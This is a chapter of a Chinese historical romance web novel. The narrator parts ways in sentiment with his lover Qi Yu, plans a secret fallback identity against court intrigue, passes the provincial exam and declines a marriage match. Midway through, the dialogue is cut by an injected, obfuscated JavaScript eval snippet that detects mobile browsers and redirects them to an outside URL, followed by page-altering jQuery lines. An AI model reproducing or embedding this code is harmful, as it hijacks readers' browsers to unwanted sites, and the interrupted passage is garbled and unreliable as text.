14. 第 16 章

作品:《季玉

    有人推门进来,我以为是阿春还有什么事,抬头才看到是祺玉。他提了两个大食盒,看着我们正在吃的饭菜,皱了皱眉头。


    算算时间,他大概还没吃饭就来了,我起身接过他手里的东西,转头吩咐道:“东篱,你吃完饭,下午就自己去玩吧。我这里不用你伺候笔墨了。”


    “是,三爷。”


    带着祺玉回了卧房,从食盒里拿出酒菜来和他一起吃。他的脸色不大好看,阴阴沉沉的。


    “怎么了?生意上遇到麻烦了?”


    “没有。刚才从你这里离开的那个丫头是谁?”


    “丫头?哦,那是阿春。他们家包管了我的一日三餐。”


    “是个乡下丫头?”


    “嗯,你不是见过吗?以前你来的时候,她也送过几次饭。”


    “哦,我倒忘了。”


    “你那是贵人多忘事”,我微微笑道。


    “什么贵人”,他晒道,“那你怎么送花给她了?”


    “她为她奶奶要的,我就让她自己挖了一株。怎么了?”


    “没什么”,他展颜笑道,“是我想岔了,我还以为你对她有意思呢。”


    “怎么会想到那方面去?”,我诧异道,家里的年轻漂亮的丫头也有好几个,爱往我身边凑的,不管美的丑的也很不少。往常也没见他有什么反应,今天怎么突然对一个送饭的姑娘吃起醋来。


    “不是看见你送她花了吗?往常你对那些花宝贝的跟什么似的。”


    “以前只是没人问我要而已”,我一点也不介意把花送给喜欢它们的人。辛苦培养出来的成果有人欣赏总是好的。


    “我还想着,若是你看上了她,就把她买回去给你做妾”,他垂着眼帘,没什么表情的说。


    “你说什么?”,我吃惊的看着他,不知道他在想什么。


    “你不是生气我纳妾了么,我想着你也纳一个,咱们就公平了。也许你就愿意和我回家了。”


    “……”,这样的公平……不要也罢……


    也许是看我脸色不好看,他没有再说什么。打住了话头,不停的给我夹菜。我却已经失了胃口。


    不知道为什么,我们的想法相差得越来越远。如今已经不能互相理解了。这是谁的悲哀?


    吃完饭没多久,祺玉就把我拉上了床,热情的让我有些招架不住。也不管如今天还大亮着,可见我预先把东篱打发出去是多么有先见之明。


    “季玉,跟我回去吧。”


    “嗯?我在这里还没住够呢。”


    “可是我想你想得难受,这些年我们从来也没有分开过。晚上一个人我睡不着觉……季玉……季玉……”,他搂着我的脖子一遍遍的叫我的名字,“你就忍心把我孤伶伶的扔在家里?我想你想得都快疯了。我把那个妾打发走好么?那样你是不是就愿意和我回去了?”


    我头疼……


    想想,也快发榜了,我点点头,“你也用不着打发谁,我跟你回去就是了。不过等发榜之后,我要出趟远门。”


    “出远门?去哪里?去多久?”


    “顾韶他背后有朝廷的人,以后还不定怎么样。我们现在和他牵扯太深了,难保他出事了,会牵连到你我。或者他用个什么法子,让我们顶了他的罪,自己好脱身。所以我得出门去安排一二,起码找好后路。有个万一,我们将来也有个去处。”


    “有这么严重吗?我们都有武艺防身,万一有事一走了之不行吗?”


    我摇摇头,“那是朝廷的力量,若朝廷把我们当成了钦犯,若天下各州各府都有我们的通缉令,那我们插翅也难飞。所以我要用其他的身份去置办几处房产,出了事也有个新身份,有个落脚的地方。再说顾韶毕竟有恩于我,虽说他心思难测,我也不想一走了之。”


    “那我跟你一起去。”


    “可以是可以,那你的生意怎么办?”


    “生意……”,他为难的不说话了。努力奋斗了几年的事业,岂是随随便便可以丢开的?


    “还是我自己去吧,我可以用游学的名义去,也不会让人起疑。”


    “……你要去多久?”


    我算了算,“没什么意外的话,大概一年时间吧。”


    “什么?太久了,你走了我怎么办?”


    我亲了亲他,“你照旧在这里过日子,做生意。若是你不愿意等,找了别人,那你我以后就是兄弟了。若你愿意等,只要你没变,我也不会变。”


    只要他的心没有向着别人,没有把我当成外人,哪怕我们之间的生活不如意,我也没法扔下他不管。毕竟相互扶持着在一起那么多年,就算我想和他相守的心思断绝了,也不妨碍我真把他当成自己的兄弟。


    他不说话了,坐在我身上,又和我纠缠在了一起……


    回到城里没多久,科举的结果下来了,我果然中了举人,名次是中游,并不显眼。不过还是要应酬很多人,拜见老师和同年。


    考中了举人之后,上门提亲的媒婆骤然增多了。这也是常见的事。都被祺玉黑着脸,以我已经定过亲为由一一打发了。


    “季玉,听说你家最近有很多媒婆上门?”


    “再不专心,你这盘棋就要输了,子修”,我白了他一眼。


    坐在我对面的人毫不在意的耸耸肩膀,“你对陈夫子家的小姐怎么看?”


    “闺中小姐,我又没有见过。你这个人不厚道,怎么把夫子的千金挂在嘴上。当心妨碍了人家的闺誉,夫子找你拼命”,我闲闲的摆下一粒棋子。


    “怎么没见过?上次文会她女扮男装来参加了,大家都见了。”


    “是么?我没什么印象”,上次文会的地点风景很不错,光顾着看风景了,没怎么注意人。


    “真是个书呆子”,子修笑骂道,“我就直说了。她对你的诗才很仰慕,夫子也欣赏你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790402|190560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的沉稳性子,说你以后必定是个能成器的。你们二人恰是男才女貌。再说夫子在西南文坛上很有分量,他的学生众多,你若是做了他的女婿,以后的好处就不用我说了吧?”


    可惜,我是不可能成什么器,也不打算再朝上走了。


    我白了他一眼,“我的事你又不是不知道,我是定过亲的。虽说暂时失散了,但我现在毕竟年轻,还等得起。若是我家先背弃婚约,以后人家找上门来,去官府告一状,我的前途还要不要了?还是等个几年,到时候年纪大了,就算背约谅别人也无话可说。”


    子修点了点头,“也是。不过可惜了啊,陈小姐真是花容月貌,又有诗才。”


    我笑道,“给我说了半天,其实是你看上人家了吧?”


    “可惜人家看不上我”,他笑嘻嘻的说,“她说要找个才华横溢,又有龙凤之姿的丈夫。我么,才华大约是有一点。只是相貌不如你,大概她是嫌我没你长得英俊?”


    “去”,我啐他,“怎么不说是你太过风流,家里小妾成群,花楼里也都是你的红颜知己。哪有正经人家的小姐敢看上你。”


    他哈哈大笑起来,“说真的,咱们这样的寒门士子,如果能有一个陈夫子那样的岳丈,对以后的仕途很有好处。否则就只能慢慢的熬资历了,熬到头发都白了,可能还没有出头之日。放弃这门亲事,真的挺可惜的”,他家也是商人,虽富却不贵,很难在科举或者仕途上帮上他什么忙。


    我起身认真的向他行了一礼,“谢子修兄以诚待我,只是对此事,我亦是无可奈何。”


    他无奈的摆摆手,“算了。看来你我都没有结交权贵,走捷径的福气。明年你和我们一起去京城参加考试吗?”


    我摇摇头,“学问还不够。这次考取举人已是勉强了。再在家里多读几年书吧。”


    “你还真是心态平和。其实我也没把握,但也想去试试,说不定运气好就考中了呢?就算考不中,去见识一下也是好的。”


    我摇摇头,那根本不是我的路。若是我真的出身清白,没有那段当男宠的历史,或许会去搏一下。毕竟做官是所有读书人的最终目的。做了官就能做很多事,实现很多理想。若我可以走那条路,说不定也早就蝇营狗苟,投身于名利场当中了。


    我自己是如此,所以又怎能责怪祺玉在经商上的万丈雄心?


    隔天顾韶把我叫去,也谈起了陈夫子的这门亲事,“你若是有意仕途,结这门亲事也是好的。以前的事你也不必担忧,认识你的人都死得差不多了。剩下的几个也好解决。”


    我摇摇头,就算刘府认识我的人都死了,起码还有顾韶知道我的事。秦王那边当初给我们提供了身份文牒,想必也是知道的。我还没有出仕,这么大的把柄就已经攥到了他们手上。以后进入朝堂,也只能成为他们的人,小小的棋子一枚。当一个线头牵在别人手上的风筝,就算飞得再高又有什么意思?